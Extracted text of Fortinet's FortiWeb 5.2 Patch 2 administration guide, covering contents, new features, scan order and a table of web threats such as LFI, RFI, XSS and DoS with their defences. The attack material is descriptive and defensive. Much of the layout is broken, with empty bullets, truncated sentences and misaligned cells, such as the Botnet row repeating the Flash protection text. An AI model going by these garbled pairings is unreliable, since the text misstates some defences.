Fortinet FortiWeb 5.2 Patch 2 Web Application Firewall Administration Guide
Publicitate
Publicitate
W
EB
A
PPLICATION
F
IREWALL
FortiWeb
™
5.2 Patch 2
Administration Guide
FortiWeb 5.2 Patch 2 Administration Guide
July 31, 2014
2nd Edition
Copyright© 2014 Fortinet, Inc. All rights reserved. Fortinet®, FortiGate®, FortiCare® and FortiGuard® and certain other marks are registered trademarks of Fortinet, Inc., and other Fortinet names herein may also be registered and/or common law trademarks of Fortinet. All other product or company names may be trademarks of their respective owners. Performance and other metrics contained herein were attained in internal lab tests under ideal conditions, and actual performance and other results may vary. Network variables, different network environments and other conditions may affect performance results. Nothing herein represents any binding commitment by Fortinet, and Fortinet disclaims all warranties, whether express or implied, except to the extent Fortinet enters a binding written contract, signed by Fortinet’s
General Counsel, with a purchaser that expressly warrants that the identified product will perform according to certain expressly-identified performance metrics and, in such event, only the specific performance metrics expressly identified in such binding written contract shall be binding on Fortinet. For absolute clarity, any such warranty will be limited to performance in the same ideal conditions as in
Fortinet’s internal lab tests. Fortinet disclaims in full any covenants, representations, and guarantees pursuant hereto, whether express or implied. Fortinet reserves the right to change, modify, transfer, or otherwise revise this publication without notice, and the most current version of the publication shall be applicable.
Technical Documentation
Knowledge Base
Forums
Customer Service & Support
Training
FortiGuard Threat Research & Response
License
Document Feedback http://docs.fortinet.com
http://kb.fortinet.com
https://support.fortinet.com/forum https://support.fortinet.com
http://training.fortinet.com
http://www.fortiguard.com
http://www.fortinet.com/doc/legal/EULA.pdf
Email: [email protected]
Table of contents
FortiWeb sessions vs. web application sessions ............................................ 37
Example: Magento & FortiWeb sessions during failover ........................... 39
Configuration settings that are not synchronized by HA ................................. 42
How HA chooses the active appliance ............................................................ 44
Assigning administrators to an ADOM............................................................. 49
Maximum concurrent administrator sessions.................................................. 56
3 FortiWeb 5.2 Patch 2 Administration Guide Fortinet
How to choose the operation mode ................................................................ 68
Supported features in each operation mode ............................................. 69
Matching topology with operation mode & HA mode................................ 70
Topology for either of the transparent modes ................................................. 72
Topologies for high availability (HA) clustering ................................................ 75
Updating firmware on an HA pair............................................................... 91
Booting from the alternate partition ........................................................... 96
Configuring a high availability (HA) FortiWeb cluster........................................... 105
Replicating the configuration without FortiWeb HA (external HA) ................. 115
Configuring the network interfaces .......................................................... 121
Adding VLAN subinterfaces ............................................................... 125
Configuring a bridge (V-zone) .................................................................. 132
Choosing the virus signature database & decompression buffer.................. 147
Accessing FortiGuard via a web proxy .......................................................... 149
How often does Fortinet provide FortiGuard updates for FortiWeb? ............ 149
Scheduling automatic signature updates ...................................................... 150
Uploading signature & geography-to-IP updates .......................................... 155
4 FortiWeb 5.2 Patch 2 Administration Guide
Example 1: Configuring a policy for HTTP via auto-learning ......................... 157
Example 2: Configuring a policy for HTTPS .................................................. 158
Example 3: Configuring a policy for load balancing ...................................... 159
How to adapt auto-learning to dynamic URLs & unusual parameters .......... 160
Configuring URL interpreters ................................................................... 161
Example: URL interpreter for a JSP application ................................ 165
Example: URL interpreter for Microsoft Outlook Web App 2007....... 165
Example: URL interpreter for WordPress........................................... 169
Grouping URL interpreters....................................................................... 174
Grouping predefined data types .............................................................. 180
Predefined suspicious request URLs....................................................... 181
Configuring custom suspicious request URLs ........................................ 182
Grouping custom suspicious request URLs ............................................ 183
Grouping all suspicious request URLs..................................................... 184
Using the report navigation pane............................................................. 192
Using the report display pane.................................................................. 195
About the attack count....................................................................... 200
Generating a profile from auto-learning data................................................. 205
Transitioning out of the auto-learning phase ................................................. 208
5 FortiWeb 5.2 Patch 2 Administration Guide
Grouping remote authentication queries for administrators................................ 227
Via the “Authorization:” header in the HTTP/HTTPS protocol ....................... 230
Via forms embedded in the HTML ................................................................. 231
Offloading HTTP authentication & authorization ................................................. 234
Configuring local end-user accounts............................................................. 236
Configuring queries for remote end-user accounts....................................... 237
Configuring LDAP queries........................................................................ 238
Example for a configuration for AD .................................................... 242
Configuring RADIUS queries.................................................................... 242
Configuring NTLM queries ....................................................................... 245
Applying user groups to an authorization realm ............................................ 248
Grouping authorization rules.................................................................... 250
Defining your web servers & load balancers ............................................. 259
Protected web servers vs. allowed/protected host names ................................. 259
Defining your protected/allowed HTTP “Host:” header names ........................... 260
Defining your web server by its IP address ................................................... 263
Defining your web server by its DNS domain name ...................................... 264
Configuring server up/down checks .............................................................. 265
Grouping your web servers into server farms................................................ 268
Routing based upon URL, cookie, or “Host:” name ................................ 275
Example: Routing according to URL/path ............................................... 279
Example: Routing according to the HTTP “Host:” field ........................... 280
Indicating the original client’s IP to back-end web servers ........................... 282
Indicating to back-end web servers that the client’s request was HTTPS.... 284
Blocking the attacker’s IP, not your load balancer ........................................ 285
Enabling or disabling traffic forwarding to your servers ...................................... 292
Secure connections (SSL/TLS) ................................................................... 294
6 FortiWeb 5.2 Patch 2 Administration Guide
Supplementing a server certificate with its signing chain........................ 308
How to apply PKI client authentication (personal certificates) ............................ 310
Example: Generating & downloading a personal certificate from
Microsoft Windows 2003 Server ................................................................. 314
Example: Downloading the CA’s certificate from
Microsoft Windows 2003 Server ................................................................. 324
Uploading the CA’s certificate to FortiWeb’s trusted CA store ..................... 333
Configuring FortiWeb to validate client certificates ....................................... 334
Revoking certificates by OCSP query............................................................ 337
How to export/back up certificates & private keys.............................................. 338
Blacklisting source IPs with poor reputation ................................................. 348
Blacklisting & whitelisting clients using a source IP or source IP range........ 353
Blacklisting content scrapers, search engines, web crawlers, & other robots .....
Configuring application-layer DoS protection ............................................... 356
Limiting the total HTTP request rate from an IP ...................................... 357
Example: HTTP request rate limit per IP ............................................ 362
Limiting TCP connections per IP address by session cookie.................. 362
Example: TCP connection per session limit ...................................... 365
Preventing an HTTP request flood........................................................... 365
Example: HTTP request flood prevention .......................................... 369
Configuring network-layer DoS protection .................................................... 369
Limiting TCP connections per IP address ............................................... 369
Example: TCP flood prevention ......................................................... 372
Preventing a TCP SYN flood.................................................................... 372
7 FortiWeb 5.2 Patch 2 Administration Guide
Example: Rewriting URLs using regular expressions .......................................... 396
Blocking known attacks & data leaks ........................................................ 405
Finding signatures that are disabled or “Alert Only”...................................... 419
Example: ASP .Net version & other multiple server detail leaks.................... 424
Example: Local file inclusion fingerprinting via Joomla ................................. 427
Defeating cipher padding attacks on individually encrypted inputs.................... 429
Enforcing page order that follows application logic ............................................ 433
Configuring allowed method exceptions ....................................................... 461
Configuring HTTP protocol constraint exceptions ........................................ 471
Compression & decompression.................................................................. 480
Configuring compression/decompression exemptions....................................... 480
Configuring temporary decompression for scanning & rewriting ........................ 484
How operation mode affects server policy behavior ........................................... 487
8 FortiWeb 5.2 Patch 2 Administration Guide
Manually starting & stopping a vulnerability scan.......................................... 544
Downloading vulnerability scan reports......................................................... 547
Advanced/optional system settings ........................................................... 549
Changing the FortiWeb appliance’s host name................................................... 549
Example: Setting a separate rate limit for shared Internet connections ........ 553
9 FortiWeb 5.2 Patch 2 Administration Guide
Enabling log types, packet payload retention, & resource shortage alerts ....
Obscuring sensitive data in the logs ........................................................ 583
Configuring FortiAnalyzer policies ........................................................... 585
Viewing a single log message as a table ................................................. 592
Switching between Raw & Formatted log views...................................... 595
Displaying & arranging log columns......................................................... 596
Downloading log messages ..................................................................... 600
Coalescing similar attack log messages........................................................ 606
Configuring an SNMP community ................................................................. 614
Customizing the report’s headers, footers, & logo ........................................ 621
Choosing the type & format of a report profile .............................................. 625
Selecting the report’s file type & email delivery ............................................. 628
Viewing & downloading generated reports .................................................... 630
Configuring policies to gather data.......................................................... 631
Updating data analytics definitions.......................................................... 631
Filtering the data analytics report....................................................... 636
10 FortiWeb 5.2 Patch 2 Administration Guide
Regular expression performance tips ............................................................ 648
Alerting the SNMP manager when HA switches the primary appliance........ 657
Downloading logs in RAM before shutdown or reboot ....................................... 662
Determining the source of the problem ......................................................... 672
11 FortiWeb 5.2 Patch 2 Administration Guide
Checking hardware connections ............................................................. 674
Testing for connectivity with ping ...................................................... 677
Testing routes & latency with traceroute ........................................... 681
Checking port assignments ..................................................................... 685
Debugging the packet processing flow ................................................... 686
Checking the SSL/TLS handshake & encryption ..................................... 686
Killing system-intensive processes .......................................................... 687
Checking user authentication policies ..................................................... 688
When an administrator account cannot log in from a specific IP ............ 689
Remote authentication query failures ...................................................... 689
Issues forwarding non-HTTP/HTTPS traffic .................................................. 695
Appendix B: Maximum configuration values ............................................. 702
Appendix D: Regular expressions............................................................... 704
Appendix C: Supported RFCs, W3C, & IEEE standards............................ 715
12 FortiWeb 5.2 Patch 2 Administration Guide
Introduction
Welcome, and thank you for selecting Fortinet products for your network.
FortiWeb hardware and FortiWeb-VM virtual appliance models are available that are suitable for medium and large enterprises, as well as service providers.
Benefits
FortiWeb is designed specifically to protect web servers.
FortiWeb web application firewalls (WAF) provide specialized application layer threat detection and protection for HTTP or HTTPS services such as:
• Apache Tomcat
• nginx
• Microsoft IIS
• JBoss
• IBM Lotus Domino
• Microsoft SharePoint
• Microsoft Outlook Web App (OWA)
• RPC and ActiveSync for Microsoft Exchange Server
• Joomla
• WordPress
• and many others
FortiWeb’s integrated web-specific vulnerability scanner can drastically reduces challenges associated with protecting regulated and confidential data by detecting your exposure to the latest threats, especially the OWASP Top 10 .
In addition, FortiWeb’s HTTP firewall and denial-of-service (DoS) attack-prevention protect your
Internet-facing web-based applications from attack and data theft. Using advanced techniques to provide bidirectional protection against sophisticated threats like SQL injection and cross-site scripting (XSS), FortiWeb helps you prevent identity theft, financial fraud, and corporate espionage. FortiWeb delivers the technology you need to monitor and enforce government regulations, industry best practices, and internal security policies, including firewalling and patching requirements from PCI DSS .
FortiWeb’s application-aware firewalling and load balancing engine can:
• Secure HTTP applications that are often gateways into valuable databases
• Prevent and reverse defacement
• Improve application stability
• Monitor servers for downtime & connection load
• Reduces response times
• Accelerate SSL/TLS *
• Accelerate compression/decompression
• Rewrite content on the fly
13 FortiWeb 5.2 Patch 2 Administration Guide Fortinet
* On VM models, acceleration is due to offloading the cryptography burden from the back-end server. On hardware models, cryptography is also hardware-accelerated via ASIC chips.
FortiWeb significantly reduces deployment costs by consolidating WAF, hardware acceleration, load balancing, and vulnerability scanning into a single device with no per-user pricing. Those features drastically reduce the time required to protect your regulated, Internet-facing data and eases the challenges associated with policy enforcement and regulatory compliance.
Architecture
Figure 1: Basic topology
Scope
FortiWeb can be deployed in a one-arm topology, but is more commonly positioned inline to intercept all incoming clients’ connections and redistribute them to your servers. FortiWeb has
TCP- and HTTP-specific firewalling capability. Because it is not designed to provide security to non-HTTP applications, it should be deployed behind a firewall such as FortiGate that focuses on security for other protocols that may be forwarded to your back-end servers, such as FTP and SSH.
Once the appliance is deployed, you can configure FortiWeb via its web UI and CLI, from a web browser and terminal emulator on your management computer.
This document describes how to set up your FortiWeb appliance. For both the hardware and virtual appliance versions of FortiWeb, it describes how to complete first-time system deployment, including planning the network topology.
It also describes how to use the web user interface (web UI), and contains lists of default utilized port numbers, configuration limits, and supported standards.
This document assumes, if you have installed the virtual appliance version (FortiWeb-VM), that you have already followed the instructions in the
FortiWeb-VM Install Guide
.
Fortinet 14 FortiWeb 5.2 Patch 2 Administration Guide
After completing
“How to set up your FortiWeb” on page 65
:
• You will have administrative access to the web UI and/or CLI.
• You will have completed firmware updates, if any.
• The system time, DNS settings, administrator password, and network interfaces will be configured.
• You will have set the operation mode.
• You will have configured basic logging.
• You will have created at least one server policy.
• You may have completed at least one phase of auto-learning to jump-start your configuration.
Once that basic installation is complete, you can use the rest of this document to use the web UI to:
• Update the FortiWeb appliance.
• Reconfigure features.
• Use advanced features, such as anti-defacement.
• Diagnose problems.
This document does not provide a reference for the command line interface (CLI). For that information, see the
FortiWeb CLI Reference
.
This document is intended for administrators, not end users. If you are accessing a web site protected by FortiWeb, please contact your system administrator.
Fortinet 15 FortiWeb 5.2 Patch 2 Administration Guide
What’s new
The list below contains features new or changed since FortiWeb 5.0 Patch 4. For upgrade
.
FortiWeb 5.2 Patch 2
• FortiWeb-VM on demand on Amazon Web Services (AWS)-VM01 — In addition to running FortiWeb-VM on AWS using a license you own, you can use Amazon’s EC2 console to deploy FortiWeb-VM on an hourly basis.
On-demand/hourly FortiWeb-VM from AWS includes a fully-licensed instance of
FortiWeb-VM, all FortiGuard services, and technical support.
• Default password for FortiWeb-VM on AWS — When you deploy FortiWeb on AWS, the admin administrator has a default password, which is the AWS instance ID.
For more information on deploying FortiWeb-VM on AWS, see the
FortiWeb-VM Installation
Guide
.
FortiWeb 5.2 Patch 1
• FortiWeb-VM01— This new FortiWeb-VM version supports 1 virtual CPU.
• FortiWeb-VM support for Microsoft Hyper-V — You can now deploy FortiWeb-VM as a
Hyper-V virtual machine.
For more information on FortiWeb-VM features, see the
FortiWeb-VM Installation Guide
.
FortiWeb 5.2
• New Advanced Protection custom rule filter types — The new filter types provide more sophisticated detection of complicated attacks. In addition, new predefined rules such as crawler, scanning, and slow attacks based on these new capabilities have been added. See
“Combination access control & rate limiting” on page 343
.
• Administrative access for VLANs — You can now allow administrative access to virtual local area network (VLAN) subinterfaces. See
“Adding VLAN subinterfaces” on page 125 .
• ADOM certificate management — When you create administrative domains (ADOMs), certificate configuration options are now located in the menu for each administrative domain, instead of the Global menu. This allows each administrative domain to have its own certificates and certificate-related settings. See
“Administrative domains (ADOMs)” on page 45 .
• Specify IP ranges for URL Access Rule and IP List — When you configure access control by URL or a blacklist or whitelist, in addition to specifying a single IP address, you can now
Fortinet 16 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet also specify a range of IP addresses. See
“Restricting access to specific URLs” on page 339
and
“Blacklisting & whitelisting clients using a source IP or source IP range” on page 353
.
• Attack and traffic logs and reports
• Attack logs now contain Source Country, Signature ID, and Signature Subclass Type fields. Traffic logs now contain a Source Country field. See
“Viewing log messages” on page 587 .
• When you view the attack and traffic log messages in the web UI, in the Source column, a flag icon beside the IP address indicates the country associated with the address. See
“Viewing log messages” on page 587 .
• FortiWeb now has new report types that capture traffic and attack activity by source country and attack signature. See
“Choosing the type & format of a report profile” on page 625 .
FortiWeb 5.1 Patch 4
• No design changes. Bug fixes only.
FortiWeb 5.1 Patch 3
• Caching — To improve performance of your back-end network and servers by reducing their traffic and processing load, you can now configure FortiWeb to cache responses from your servers.. See
.
• Enhanced resource monitoring— The dashboard now shows disk usage for the hard disk used to store logs and reports. See
“System Resources widget” on page 566
.
• Increased limits for physical and virtual servers — The maximum number of physical and/or virtual servers per ADOM has been increased to 1,024.
FortiWeb 5.1 Patch 2
• Server-controlled load balancing — FortiWeb can now load balance traffic based upon cookies embedded by your back-end servers, the URL, host name, or all of those.
This can provide better HTTP session persistence, as well as enabling servers to control their own load levels, which can be useful if your servers are sometimes busy with other,
non-HTTP services or applications. See “Routing based upon URL, cookie, or “Host:” name” on page 275
.
• Padding oracle attack protection — For web applications that selectively encrypt inputs without using HTTPS, FortiWeb can now protect vulnerable block cipher implementations.
See “Defeating cipher padding attacks on individually encrypted inputs” on page 429 .
• X-Forwarded-For: support for Geo IP — Blocking clients based upon their geographical location now can be done based upon the IP address that FortiWeb extracts from an HTTP
X-header, not only the the IP layer. This improves feature support for deployments where a
• Protocol constraint limits increased — Constraint defaults now are increased to match the size of the buffer for FortiWeb’s HTTP parser. Size varies by your model of FortiWeb. See
“HTTP/HTTPS protocol constraints” on page 463
.
• Aggregation indicated in log messages — Attack logs that are recorded during DoS or padding oracle attacks are not recorded individually, but rather periodically while the attack is ongoing, even if that attack is from multiple source IPs. This prevents attack logs flooded with identical or very similar messages. To differentiate logs that are caused by individual attacks or by multiple attacks in the same category, attack log messages now mention when
17 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet there have been multiple signatures matched per message, and will group attacks in the same category into a single log message. See the
FortiWeb Log Reference
.
• Protected Servers changed to Protected Host Names — To better indicate their usage,
FortiWeb now refers to these configuration objects as allowed/protected host names. See
“Defining your protected/allowed HTTP “Host:” header names” on page 260
.
FortiWeb 5.1 Patch 1
• No design changes. Bug fixes only.
FortiWeb 5.1
• Administrative domains (ADOMs) — Similar to FortiGate VDOMs, FortiWeb now supports assigning administrator logins to separate domains, each with its own separate policies so that it cannot see or impact the other domains’ settings. This is ideal for larger enterprises and multi-tenant deployments. See
“Administrative domains (ADOMs)” on page 45
.
• HTTP pipelining support — For clients that support HTTP 1.1, HTTP pipelining can now be used to accelerate transactions by bundling them in the same TCP connection, and by not waiting for a response before sending/receiving the next request. This can increase performance when pages containing many images, scripts, and other auxiliary files are all
.
• RADIUS vendor-specific attributes for access profiles — If your administrator accounts authenticate via a RADIUS query, you can assign their access profile using RFC 2548
Microsoft Vendor-specific RADIUS Attributes. See
in “Administrators” on page 221
and
“Configuring RADIUS queries” on page 242 .
• Same server farm for multiple virtual servers — If your topology requires that you forward traffic from multiple virtual servers to the same back-end server farm, you can now do this without chaining policies. See
“Configuring virtual servers on your FortiWeb” on page 288
• HSTS header support — To prevent your users from accidentally accessing sensitive websites via unsecured HTTP instead of the intended HTTPS site, you can now configure
and
“Configuring a server policy” on page 509
.
• Expanded IPv6 support — More features now support IPv6, including HSTS and
X-Forwarded-Proto:
headers. See
“Defining your proxies, clients, & X-headers” on page 281
and
“How to force clients to use HTTPS” on page 310 .
• Enhanced attack log aggregation— Aggregated attack logs are now available from a
submenu and have been enhanced. See “Coalescing similar attack log messages” on page 606
.
18 FortiWeb 5.2 Patch 2 Administration Guide
FortiWeb 5.0 Patch 4
• Bulk edits for parameter validation rules — Rather than individually editing each rule, you can now replace the Action, Trigger Policy, and/or Severity of multiple rules simultaneously.
See “Bulk changes to input validation rules” on page 451
.
• Regular expressions for site publishing — To support quickly publishing the same web applications for multiple subdomains, regular expression support has been added. See
“Single sign-on (SSO)” on page 253
.
• Namibian time zone support — System time and date settings now support the Namibian time zone. See
“Setting the system time & date” on page 99 .
• Enlarged HTTP argument buffer support — The maximum buffer size for parameters when scanning can now be up to 64 KB. For details, see the
FortiWeb CLI Reference
.
• Data types added — New predefined data types have been added to match postal codes from Sweden and Quebec, as well as Italian mobile phone numbers. See
“Predefined data types” on page 175
.
Documentation enhancements
Deployments involving external load-balancing and SNAT devices such as FortiADC and
FortiBalancer now have specific topology advice. See
“External load balancers: before or after?” on page 66
. Diagrams have also been added to expand on one-arm topologies, most commonly used when the back-end servers also offer other services such as SFTP or SSH. See
.
Fortinet 19 FortiWeb 5.2 Patch 2 Administration Guide
Key concepts
This chapter defines basic FortiWeb concepts and terms.
If you are new to FortiWeb, or new to security, this chapter can help you to quickly understand.
See also
•
Workflow
Begin with
“How to set up your FortiWeb” on page 65
for your initial deployment. These instructions will guide you to the point where you have a simple, verifiably working installation.
Ongoing use is located in the chapters after
have successfully deployed, ongoing use involves:
• Backups
• Updates
• Configuring optional features
• Adjusting policies if:
• New attack signatures become available
• Requirements change
• Fine-tuning performance
• Periodic web vulnerability scans if required by your compliance regime
• Monitoring for defacement or focused, innovative attack attempts from advanced persistent threats (APTs)
• Monitoring for accidentally blacklisted client IPs
• Using data analytics to show traffic patterns
Fortinet 20 FortiWeb 5.2 Patch 2 Administration Guide
Except for features independent of policies such as anti-defacement, most features are configured before policies. Policies link protection components together and apply them. As such, policies usually should be configured last, not first.
Sequence of scans
FortiWeb appliances apply protection rules and perform protection profile scans in the following order of execution, which varies by whether you have applied a web protection profile. To understand the scan sequence, read from the top of the table (the first scan/action) towards the bottom (the last scan/action). Disabled scans are skipped.
To improve performance, block attackers using the earliest possible technique in the execution sequence and/or the least memory-consuming technique.
Fortinet
The blocking style varies by feature and configuration. For example, when detecting cookie poisoning, instead of resetting the TCP connection or blocking the HTTP request, you could log and remove the offending cookie. For details, see each specific feature.
Table 1: Execution sequence (web protection profile)
Involves Scan/action
Request from client to server
(TCP Flood Prevention)
Source IP address of the client (depending on your configuration of X-header rules (see
“Defining your proxies, clients, & X-headers” on page 281 ) this could be
derived from either the SRC field in the IP header, or an
HTTP header such as X-Forwarded-For: or
X-Real-IP:
)
21 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Table 1: Execution sequence (web protection profile)
Scan/action
Involves
Source IP address of the client (depending on your configuration of X-header rules (see
“Defining your proxies, clients, & X-headers” on page 281 ) this could be
derived from either the SRC field in the IP header, or an
HTTP header such as X-Forwarded-For: or
X-Real-IP:
)
Source IP address of the client in the IP layer
(individual client IP black list or white list)
Source IP address of the client in the HTTP layer
(allowed/protected host name)
Source IP address of the client (depending on your configuration of X-header rules (see
“Defining your proxies, clients, & X-headers” on page 281 ) this could be
derived from either the SRC field in the IP header, or an
HTTP header such as X-Forwarded-For: or
X-Real-IP:
)
Source IP address of the client in the IP layer
Source IP address of the client in the IP layer
Host:
(Malicious IP)
(HTTP Flood Prevention)
•
Host:
• URL in HTTP header
• Request method in HTTP header
•
Cookie:
• Session state
• Responses from the JavaScript browser tests, if any
•
Cookie:
• Session state
Source IP address of the client (depending on your configuration of X-header rules (see
“Defining your proxies, clients, & X-headers” on page 281 ) this could be
derived from either the SRC field in the IP header, or an
HTTP header such as X-Forwarded-For: or
X-Real-IP:
)
•
Cookie:
• Session state
• URL in the HTTP header
22 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Table 1: Execution sequence (web protection profile)
Scan/action
or
HTTP Request Limit/sec (Shared
(HTTP Access Limit)
Involves
•
ID
field of the IP header
• Source IP address of the client (depending on your
configuration of X-header rules (see “Defining your proxies, clients, & X-headers” on page 281
) this could be derived from either the SRC field in the IP header, or an HTTP header such as X-Forwarded-For: or
X-Real-IP:
)
(page order)
Authorization:
•
Cookie: cookiesession1
• URL if /favicon.ico, AJAX URL parameters such as
__LASTFOCUS
, and others as updated by the
FortiGuard Security Service
•
Host:
• URL in HTTP header
• Source IP of the client in the IP header
• Source IP address of the client (depending on your
configuration of X-header rules (see “Defining your proxies, clients, & X-headers” on page 281
) this could be derived from either the SRC field in the IP header, or an HTTP header such as X-Forwarded-For: or
X-Real-IP:
)
• URL in the HTTP header
•
Content-Length:
• Parameter length
• Body length
• Header length
• Header line length
• Count of Range: header lines
• Count of cookies
Cookie:
•
Host:
• URL in HTTP header
• Session state
•
Host:
• URL in HTTP header
• Session state
•
Content-Length:
•
Content-Type: in PUT and POST requests
23 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Table 1: Execution sequence (web protection profile)
Scan/action
,
(rewriting & redirects)
(attack signatures)
Involves
HTTP body
User-Agent:
•
Host:
• URL in the HTTP header
• Name, data type, and length of <input> tags except
<input type="hidden">
•
Cookie:
• Parameters in the URL in the HTTP header, or in the
HTTP body (depending on the HTTP method) for
<input>
tags except <input type="hidden">
• XML content in the HTTP body (if
•
Host:
• URL in the HTTP header
• Name, data type, and length of
<input type="hidden">
X-Forwarded-For:
in HTTP header
•
Host:
•
Referer:
•
Location:
• URL in HTTP header
• HTTP body
Any of the other features included by the auto-learning profile
• Source IP address of the client
• URL in the HTTP header
• Results from other scans
Client’s personal certificate, if any, supplied during the
SSL/TLS handshake
Reply from server to client
Server-identifying custom HTTP headers such as
Server:
and X-Powered-By:
Credit card number in the body, and, if configured,
Content-Encoding:
24 FortiWeb 5.2 Patch 2 Administration Guide
Table 1: Execution sequence (web protection profile)
Scan/action
(rewriting)
Involves
•
Host:
•
Referer:
•
Location:
• URL in HTTP header
• HTTP body
Accept-Encoding:
* If a source IP is white listed, subsequent checks will be skipped.
Fortinet 25 FortiWeb 5.2 Patch 2 Administration Guide
IPv6 support
If FortiWeb is operating in reverse proxy mode, the following features support IPv6-to-IPv6 forwarding, as well as NAT64, to support environments where legacy back-end equipment only supports IPv4.
•
for all types of network interfaces, DNS settings, and
for IP-layer static routes
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
(page order)
•
•
•
(manual, individual IP blacklisting/whitelisting)
•
•
•
•
Configuring the global object white list
• Chunk decoding
• FortiGuard server IP overrides (
Connecting to FortiGuard services )
Fortinet 26 FortiWeb 5.2 Patch 2 Administration Guide
Not yet supported are:
If a policy has any virtual servers, server farms, physical servers, or domain servers with IPv6 addresses, it will not apply these features, even if they are selected.
•
• Policy bypasses for known search engines
•
•
•
•
•
and LDAP, RADIUS, and NTLM profiles
•
• Log-based reports
• Alert email
• Syslog and FortiAnalyzer IP addresses
• NTP
• FTP immediate/scheduled
• OCSP and SCEP
• Anti-defacement
• HA/Configuration sync
• exec restore
• exec backup
• exec traceroute
• exec telnet
Solutions for specific web attacks
The types of attacks that web servers are vulnerable to are varied, and evolve as attackers try new strategies.
FortiWeb appliances offer numerous configurable features for preventing web-related attacks, including denial-of-service (DoS) assaults, brute-force logins, data theft, and more.
Early in your deployment of FortiWeb, configure and run web vulnerability scans to detect the most common attack vulnerabilities. You can use this to discover attacks that you may be vulnerable to. For more information, see
“Vulnerability scans” on page 533
.
Fortinet
HTTP/HTTPS threats
Servers are increasingly being targeted by exploits at the application layer or higher. These attacks use HTTP/HTTPS and aim to compromise the target web server, either to steal
27 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet information, deface it, or to post malicious files on a trusted site to further exploit visitors to the site, using the web server to create botnets.
Among its many threat management features, FortiWeb’s fends off attacks that use cross-site scripting, state-based, and various injection attacks. This helps you comply with protection standards for:
• credit-card data, such as PCI DSS 6.6
• personally identifiable information, such as HIPAA
Table 2 lists several HTTP-related threats and describes how FortiWeb appliances protect servers from them. FortiWeb can also protect against threats at higher layers (HTML, Flash or
XML applications).
Table 2: Web-related threats
Attack
Technique
Description Protection FortiWeb Solution
Adobe Flash binary
(AMF) protocol attacks
Attackers attempt XSS, SQL injection or other common exploits through an Adobe Flash client.
Decode and scan Flash action message format
(AMF) binary data for matches with attack signatures.
Botnet Utilizes zombies previously exploited or infected (or willingly participating), distributed usually globally, to simultaneously overwhelm the target when directed by the command and control server(s).
Decode and scan Flash action message format
(AMF) binary data for matches with attack signatures.
Browser
Exploit
Against
SSL/TLS
(BEAST)
A man-in-the-middle attack where an eavesdropper exploits reused initialization vectors in older TLS 1.0 implementations of
CBC-based encryption ciphers such as AES and 3DES.
• Use TLS 1.1 or greater, or
• Use ciphers that do not involve CBC, such as stream ciphers, or
• Use CBC only with correct initialization vector (IV) implementations
Brute force login attack
An attacker attempts to gain authorization by repeatedly trying
ID and password combinations until one works.
Require strong passwords for users, and throttle login attempts.
28 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Table 2: Web-related threats
Attack
Technique
Description Protection FortiWeb Solution
Clickjacking Code such as <IFRAME> HTML tags superimposes buttons or other DOM/inputs of the attacker’s choice over a normal form, causing the victim to unwittingly provide data such as bank or login credentials to the attacker’s server instead of the legitimate web server when the victim clicks to submit the form.
Scan for illegal inputs to prevent the initial injection, then apply rewrites to scrub any web pages that have already been affected.
•
•
•
•
Cookie tampering
Attackers alter cookies originally established by the server to inject overflows, shell code, and other attacks, or to commit identity fraud, hijacking the HTTP sessions of other clients.
Validate cookies returned by the client to ensure that they have not been altered from the previous response from the web server for that HTTP session.
•
•
Credit card theft
Attackers read users’ credit card information in replies from a web server.
Detect and sanitize credit card data leaks.
Helps you comply with credit card protection standards, such as PCI
DSS 6.6.
Cross-site request forgery
(CSRF)
Cross-site scripting
(XSS)
Denial of service
(DoS)
A script causes a browser to access a web site on which the browser has already been authenticated, giving a third party access to a user’s session on that site. Classic examples include hijacking other peoples’ sessions at coffee shops or Internet cafés.
Enforce web application business logic to prevent access to URLs from the same IP but different client.
•
•
Attackers cause a browser to execute a client-side script, allowing them to bypass security.
Content filtering, cookie security, disable client-side scripts.
An attacker uses one or more techniques to flood a host with
HTTP requests, TCP connections, and/or TCP SYN signals. These use up available sockets and consume resources on the server, and can lead to a temporary but complete loss of service for legitimate users.
Watch for a multitude of
TCP and HTTP requests arriving in a short time frame, especially from a single source, and close suspicious connections.
Detect increased SYN signals, close half-open connections before resources are exhausted.
29 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Table 2: Web-related threats
Attack
Technique
HTTP header overflow
Description Protection FortiWeb Solution
Attackers use specially crafted
HTTP/HTTPS requests to target web server vulnerabilities (such as a buffer overflow) to execute malicious code, escalating to administrator privileges.
Limit the length of HTTP protocol header fields, bodies, and parameters.
Local file inclusion
(LFI)
LFI is a type of injection attack.
However, unlike SQL injection attacks, a database is not always involved. In an LFI, a client includes directory traversal commands (such as ../../for web servers on Linux, Apple Mac
OS X, or Unix distributions) when submitting input. This causes vulnerable web servers to use one of the computer’s own files
(or a file previously installed via another attack mechanism) to either execute it or be included in its own web pages.
Block directory traversal commands.
This could be used for many purposes, including direct attacks of other servers, installation of malware, and data theft of /etc/passwd, display of database query caches, creation of administrator accounts, and use of any other files on the server’s file system.
Many platforms have been vulnerable to these types of attacks, including Microsoft .NET and Joomla.
Man-in-themiddle
(MITM)
A device located on the same broadcast network or between the client and server observes unencrypted traffic between them. This is often a precursor to other attacks such as session hijacking.
Redirect clients from
HTTP to secure HTTPS, then encrypt all traffic and prevent subsequent accidental insecure access.
•
•
•
30 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Table 2: Web-related threats
Attack
Technique
Description Protection
Remote file inclusion
(RFI)
RFI is a type of injection attack.
However, unlike SQL injection attacks, a database is not always involved. In an RFI, a client includes a URL to a file on a remote host, such as source code or scripts, when submitting input. This causes vulnerable web servers to either execute it or include it in its own web pages.
Prevent inclusion of references to files on other web servers.
• If code is executed, this could be used for many purposes, including direct attacks of other servers, installation of malware, and data theft.
• If code is included into the local file system, this could be used to cause other, unsuspecting clients who use those web pages to commit distributed XSS attacks.
Famously, this was used in organized attacks by Lulzsec.
Attacks often involve PHP web applications, but can be written for others.
Server information leakage
A web server reveals details
(such as its OS, server software and installed modules) in responses or error messages. An attacker can leverage this fingerprint to craft exploits for a specific system or configuration.
Configure server software to minimize information leakage.
FortiWeb Solution
•
• To hide application structure and servlet names,
